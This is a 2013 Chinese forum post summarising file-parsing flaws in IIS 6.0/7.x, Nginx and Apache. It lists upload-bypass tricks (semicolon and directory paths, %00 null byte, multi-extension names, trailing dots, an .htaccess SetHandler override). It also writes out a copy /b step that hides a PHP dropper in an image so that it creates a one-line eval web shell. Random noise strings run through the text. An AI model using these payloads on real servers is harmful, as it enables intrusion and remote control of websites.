找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2686|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain
: y1 C8 t5 g' e( o5 o/ W, d. m2 o/ M[+]IIS6.0
& w  v3 `2 N+ W" p/ K 4 w4 B' y! Q! L) {. o9 P6 ]  Q
目录解析:/xx.asp/xx.jpg 2 ]: ?2 J9 i9 Q2 }' N  r: m" _
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
8 U; \1 i; m" u+ q9 W IIS6.0 会将 xx.jpg 解析为 asp 文件。
) C% }8 O: O$ }* _2 m/ G+ S  y后缀解析:/xx.asp;.jpg     
# V, t8 Y0 p9 @7 t' U IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
) E0 y; Q5 N9 q! j* x默认解析:/xx.asa
9 i* U2 N# g9 J9 {         /xx.cer
$ t7 S) p3 r5 i& W) u, L+ J  |7 h& P         /xx.cdx4 U/ C# a* [( q( U: t, u
IIS6.0 默认的可执行文件除了 asp 还包含这三种" U+ z7 ~3 T0 X
此处可联系利用目录解析漏洞
( @- }, T) f4 i% P2 F$ }9 J/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
' C& J; y  V8 a6 n5 U1 }[+]IIS 7.0/IIS 7.5/Nginx <0.8.03# ]7 b9 U' K! `1 Y! @6 C& S
2 ^$ q' F: q4 o+ S8 w# Z4 U& v
IIS 7.0/IIS 7.5/Nginx <0.8.03
8 Q" |) j- m" R& K  ?9 z+ o 在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面* J/ t, s# m! g) d
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。( r3 J9 z4 a5 o6 B4 C4 N4 v; i" N* q
常用利用方法:
. ~* z3 w5 K- f+ ?2 B4 F 将一张图和一个写入后门代码的文本文件合并将恶意文本1 T0 o- q& V8 L% H; ]9 l
写入图片的二进制代码之后,避免破坏图片文件头和尾6 _8 Q# u& h; J+ `1 ^8 K
如:
) Z+ T0 Z3 }$ P& w copy xx.jpg /b + yy.txt/a xy.jpg
9 H. r9 @3 n6 q7 f% @$ r% o #########################################################
8 v9 Y4 r1 H6 N2 }0 P+ K) z" R /b 即二进制[binary]模式# K/ d/ A, E1 t6 m! p
/a 即ascii模式
8 R* g; ^4 F' {) t' d5 T" t xx.jpg 正常图片文件9 e, ]) [2 i2 G
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),5 J/ @$ k2 A4 O. s
'<?php eval($_POST[cmd])?>');?>' W  b5 a1 _) S
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称  L) b  D# _+ b) J
为shell.php的文件& y% {: ]( j; X0 u! ~. B9 y
###########################################################' k- J( ]% [! ?1 E8 l
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php * G+ O0 @9 Y0 M/ N
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
6 N0 O+ F% R0 y6 ^ 密码 cmd  w9 e2 s) Y4 l/ C0 ^4 P- a) r
[+]Nginx <0.8.03" h4 H3 r" k. V* Q- F' H

0 X+ s8 {5 }( a 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
+ p5 U, X9 r. B4 K" p$ ] 在一个文件路径(/xx.jpg)后面加上%00.php
( [' M8 ^/ B7 |8 x7 Z# }$ H7 ? 会将 /xx.jpg%00.php 解析为 php 文件。6 N9 R  K6 s  y: s& Y/ p# P; L
[+]Apache<0.8.03; _3 J. A1 b9 n3 T9 P% L
6 F: f; |  P) a- l0 o/ @
后缀解析:test.php.x1.x2.x3* u- T! z1 c  H
Apache将从右至左开始判断后缀,若x3非可识别后缀,  ^. [( B2 X/ i7 v- ~
再判断x2,直到找到可识别后缀为止,然后将该可识别
+ q- J! f2 e, H0 G1 A$ p1 C 后缀进解析test.php.x1.x2.x3 则会被解析为php( F9 P- ~, {" m4 R
经验之谈:php|php3|phtml 多可被Apache解析。! ]; ~1 X% B3 Z% v+ h3 n
[+]其他一些可利用的! B$ H+ F7 ?2 F0 C1 E

& x+ Q2 l* Q( F  F- @& l5 e1 x, s# ?6 W在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
) Y) f8 C# F2 U若这样命名,windows会默认除去空格或点,这也是可以被利用的!2 C7 O  A% _. A( q2 Q
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格9 c: B- x6 w/ s, u% {/ P
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
( G# b8 [# ]2 ?& m+ X& k0 E得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
7 L2 }3 z* L1 c{Linux主机中不行,Linux允许这类文件存在}/ E9 f* @( Z; }5 B
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
: [; i8 ?  A7 W- ?* ~的,当初我并不知道),且可以被上传,那可以尝试在  k$ N1 D2 C/ W, o$ g# M7 Z2 P; s3 D
.htaccess中写入:" K& J7 o. p7 [7 A8 e1 F. u7 c
<FilesMatch “shell.jpg”>
+ ^+ |2 f1 V# w. H2 Q1 |SetHandler application/x-httpd-php ! ?7 f9 l& e# C9 J) r4 j3 N
</FilesMatch>) C4 w/ q6 B0 S2 @  e! O& ~" ^
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件4 V" z) P" P9 M1 f" A! g, R
[+]错误修改
: Q# B+ L6 ^0 K! ^8 t3 T
; p; ~: j2 `' {在 IIS 6.0 下可解析 /xx.asp:.jpg
& w: Z) G7 L; l# w: m{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去( [! f( V3 [) ?& F$ D. j- C
剩下/xx.asp}修改:
3 e9 n; z) U; Z2 G; y先谢谢核攻击的提醒
# ?7 V, v& d% @当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp. N5 p' Z; @( p2 k. s  ^2 b6 ?
里是没有任何内容的,因为。。不好解释 大家自己看1 P& a- O  P$ `3 u' w( ^+ Q
http://lcx.cc/?i=24484 K5 L$ V  Q( s6 z( {$ H& q
http://baike.baidu.com/view/3619593.htm2 [  g" p/ i- H: m
: W) ?4 i9 k, w* P! S2 S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表